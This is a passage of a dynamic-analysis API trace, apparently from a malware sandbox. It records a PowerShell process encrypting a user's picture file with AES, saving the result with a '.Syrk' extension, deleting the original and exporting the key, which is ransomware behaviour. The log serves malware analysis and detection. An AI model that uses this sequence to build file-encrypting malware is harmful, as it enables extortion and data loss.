(lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\gm5d9kgelxbt.png")) returned 0x20 [0249.533] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0249.533] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", lpFilePart=0x0) returned 0x2c [0249.534] EtwEventActivityIdControl () returned 0x0 [0249.534] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.535] EtwEventActivityIdControl () returned 0x0 [0249.535] EtwEventActivityIdControl () returned 0x0 [0249.535] EtwEventActivityIdControl () returned 0x0 [0249.537] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0249.537] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", lpFilePart=0x0) returned 0x2c [0249.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0249.537] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\gm5d9kgelxbt.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0249.538] GetFileType (hFile=0x3c4) returned 0x1 [0249.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0249.538] GetFileType (hFile=0x3c4) returned 0x1 [0249.538] EtwEventActivityIdControl () returned 0x0 [0249.538] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.539] EtwEventActivityIdControl () returned 0x0 [0249.539] EtwEventActivityIdControl () returned 0x0 [0249.539] EtwEventActivityIdControl () returned 0x0 [0249.540] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0249.540] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png.Syrk", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png.Syrk", lpFilePart=0x0) returned 0x31 [0249.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0249.540] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\gm5d9kgelxbt.png.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0249.541] GetFileType (hFile=0x454) returned 0x1 [0249.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0249.541] GetFileType (hFile=0x454) returned 0x1 [0249.541] EtwEventActivityIdControl () returned 0x0 [0249.541] CryptGenRandom (in: hProv=0x5c4d298, dwLen=0x10, pbBuffer=0x23cc940 | out: pbBuffer=0x23cc940) returned 1 [0249.542] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0249.543] CryptDuplicateKey (in: hKey=0x5c99b20, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99ae0) returned 1 [0249.543] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0249.543] CryptSetKeyParam (hKey=0x5c99ae0, dwParam=0x4, pbData=0x23cdc6c*=0x1, dwFlags=0x0) returned 1 [0249.543] CryptSetKeyParam (hKey=0x5c99ae0, dwParam=0x1, pbData=0x23cdc38, dwFlags=0x0) returned 1 [0249.543] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.544] EtwEventActivityIdControl () returned 0x0 [0249.544] EtwEventActivityIdControl () returned 0x0 [0249.544] EtwEventActivityIdControl () returned 0x0 [0249.545] EtwEventActivityIdControl () returned 0x0 [0249.545] ReadFile (in: hFile=0x3c4, lpBuffer=0x23d08b4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23d08b4*, lpNumberOfBytesRead=0x5a2e7d8*=0x6a92, lpOverlapped=0x0) returned 1 [0249.547] CryptEncrypt (in: hKey=0x5c99ae0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23e48cc*, pdwDataLen=0x5a2e7cc*=0x6a90, dwBufLen=0x6a90 | out: pbData=0x23e48cc*, pdwDataLen=0x5a2e7cc*=0x6a90) returned 1 [0249.547] WriteFile (in: hFile=0x454, lpBuffer=0x23cca1c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23cca1c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0249.549] WriteFile (in: hFile=0x454, lpBuffer=0x23e58b8*, nNumberOfBytesToWrite=0x5aa4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23e58b8*, lpNumberOfBytesWritten=0x5a2e7b0*=0x5aa4, lpOverlapped=0x0) returned 1 [0249.549] ReadFile (in: hFile=0x3c4, lpBuffer=0x23d08b4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23d08b4*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0249.550] CryptEncrypt (in: hKey=0x5c99ae0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23eb368*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x23eb368*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0249.550] CryptEncrypt (in: hKey=0x5c99ae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23eb384*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x23eb384*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0249.550] WriteFile (in: hFile=0x454, lpBuffer=0x23cca1c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x23cca1c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0249.550] CloseHandle (hObject=0x454) returned 1 [0249.551] CloseHandle (hObject=0x3c4) returned 1 [0249.552] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.552] EtwEventActivityIdControl () returned 0x0 [0249.552] EtwEventActivityIdControl () returned 0x0 [0249.552] EtwEventActivityIdControl () returned 0x0 [0249.671] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\gm5d9kgelxbt.png")) returned 0x20 [0249.673] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0249.673] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", lpFilePart=0x0) returned 0x2c [0249.673] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0249.674] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0249.674] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0249.674] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0249.674] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0249.674] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0249.674] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0249.674] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0249.674] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0249.674] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0249.674] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0249.674] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0249.675] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0249.675] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0249.675] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0249.675] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0249.675] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\gm5d9kgelxbt.png")) returned 0x20 [0249.675] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0249.675] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", lpFilePart=0x0) returned 0x2c [0249.678] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0249.678] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", lpFilePart=0x0) returned 0x2c [0249.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0249.678] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0249.678] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", lpFilePart=0x0) returned 0x2c [0249.679] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\gm5d9kgelxbt.png\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0249.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0249.679] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0249.679] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0249.679] CoTaskMemFree (pv=0x3b0008) [0249.682] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\gm5d9kgelxbt.png")) returned 0x20 [0249.682] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0249.682] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png", lpFilePart=0x0) returned 0x2c [0249.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0249.682] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\gm5d9kgelxbt.png"), fInfoLevelId=0x0, lpFileInformation=0x23f6578 | out: lpFileInformation=0x23f6578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69f17810, ftCreationTime.dwHighDateTime=0x1d99b28, ftLastAccessTime.dwLowDateTime=0x1d16a9f0, ftLastAccessTime.dwHighDateTime=0x1d99c33, ftLastWriteTime.dwLowDateTime=0x1d16a9f0, ftLastWriteTime.dwHighDateTime=0x1d99c33, nFileSizeHigh=0x0, nFileSizeLow=0x6a92)) returned 1 [0249.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0249.682] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\gm5d9kgelxbt.png")) returned 1 [0249.685] EtwEventActivityIdControl () returned 0x0 [0249.685] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.685] EtwEventActivityIdControl () returned 0x0 [0249.685] EtwEventActivityIdControl () returned 0x0 [0249.686] EtwEventActivityIdControl () returned 0x0 [0249.692] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\gm5d9kgelxbt.png.syrk")) returned 0x20 [0249.693] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\gm5d9kgelxbt.png.syrk")) returned 0x20 [0249.693] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0249.693] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png.Syrk", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png.Syrk", lpFilePart=0x0) returned 0x31 [0249.694] EtwEventActivityIdControl () returned 0x0 [0249.694] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.694] EtwEventActivityIdControl () returned 0x0 [0249.694] EtwEventActivityIdControl () returned 0x0 [0249.694] EtwEventActivityIdControl () returned 0x0 [0249.700] EtwEventActivityIdControl () returned 0x0 [0249.700] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.700] EtwEventActivityIdControl () returned 0x0 [0249.700] EtwEventActivityIdControl () returned 0x0 [0249.700] EtwEventActivityIdControl () returned 0x0 [0249.704] EtwEventActivityIdControl () returned 0x0 [0249.704] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.704] EtwEventActivityIdControl () returned 0x0 [0249.704] EtwEventActivityIdControl () returned 0x0 [0249.705] EtwEventActivityIdControl () returned 0x0 [0249.708] EtwEventActivityIdControl () returned 0x0 [0249.708] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.708] EtwEventActivityIdControl () returned 0x0 [0249.708] EtwEventActivityIdControl () returned 0x0 [0249.708] EtwEventActivityIdControl () returned 0x0 [0249.712] EtwEventActivityIdControl () returned 0x0 [0249.712] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.712] EtwEventActivityIdControl () returned 0x0 [0249.712] EtwEventActivityIdControl () returned 0x0 [0249.712] EtwEventActivityIdControl () returned 0x0 [0249.764] EtwEventActivityIdControl () returned 0x0 [0249.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0249.768] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\gm5d9kgelxbt.png.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23ffde8 | out: lpFileInformation=0x23ffde8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106f1470, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x106f1470, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x107175d0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x6ab4)) returned 1 [0249.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0249.770] GetConsoleOutputCP () returned 0x1b5 [0249.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0249.771] GetConsoleOutputCP () returned 0x1b5 [0249.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0249.771] GetConsoleOutputCP () returned 0x1b5 [0249.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0249.771] GetConsoleOutputCP () returned 0x1b5 [0249.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0249.771] GetConsoleOutputCP () returned 0x1b5 [0249.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0249.772] GetConsoleOutputCP () returned 0x1b5 [0249.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0249.772] GetConsoleOutputCP () returned 0x1b5 [0249.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0249.772] GetConsoleOutputCP () returned 0x1b5 [0249.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0249.772] GetConsoleOutputCP () returned 0x1b5 [0249.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0249.773] GetConsoleOutputCP () returned 0x1b5 [0249.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0249.773] GetConsoleOutputCP () returned 0x1b5 [0249.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0249.773] GetConsoleOutputCP () returned 0x1b5 [0249.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0249.773] GetConsoleOutputCP () returned 0x1b5 [0249.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0249.773] GetConsoleOutputCP () returned 0x1b5 [0249.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0249.774] GetConsoleOutputCP () returned 0x1b5 [0249.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0249.774] GetConsoleOutputCP () returned 0x1b5 [0249.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0249.774] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0249.775] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0249.775] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2419a30*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2419a30*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0249.776] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0249.776] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0249.781] EtwEventActivityIdControl () returned 0x0 [0249.781] EtwEventActivityIdControl () returned 0x0 [0249.782] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.782] EtwEventActivityIdControl () returned 0x0 [0249.782] EtwEventActivityIdControl () returned 0x0 [0249.782] EtwEventActivityIdControl () returned 0x0 [0249.784] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.785] EtwEventActivityIdControl () returned 0x0 [0249.785] EtwEventActivityIdControl () returned 0x0 [0249.785] EtwEventActivityIdControl () returned 0x0 [0249.787] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d320) returned 1 [0249.788] CryptGenKey (in: hProv=0x5c4d320, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c998e0) returned 1 [0249.788] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0249.788] CryptExportKey (in: hKey=0x5c998e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0249.788] CryptExportKey (in: hKey=0x5c998e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2421408, pdwDataLen=0x5a2e8c4 | out: pbData=0x2421408*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0249.789] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.789] EtwEventActivityIdControl () returned 0x0 [0249.789] EtwEventActivityIdControl () returned 0x0 [0249.789] EtwEventActivityIdControl () returned 0x0 [0249.806] SysStringLen (param_1="") returned 0x8 [0249.806] SysStringLen (param_1="O") returned 0x8 [0249.806] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.806] SysStringLen (param_1="땖읛춛ⰲ齩乴凁") returned 0x8 [0249.806] SysStringLen (param_1="땖읛춛ⰲ齩乴凁") returned 0x8 [0249.806] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.806] SysStringLen (param_1="OZ") returned 0x8 [0249.806] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.806] SysStringLen (param_1="߅륧溕楐儍䅎쮬") returned 0x8 [0249.806] SysStringLen (param_1="߅륧溕楐儍䅎쮬") returned 0x8 [0249.806] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.806] SysStringLen (param_1="OZv") returned 0x8 [0249.806] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.807] SysStringLen (param_1="ࡠ퓌辅ၔ᳘욛") returned 0x8 [0249.807] SysStringLen (param_1="ࡠ퓌辅ၔ᳘욛") returned 0x8 [0249.807] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.807] SysStringLen (param_1="OZva") returned 0x8 [0249.807] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.807] SysStringLen 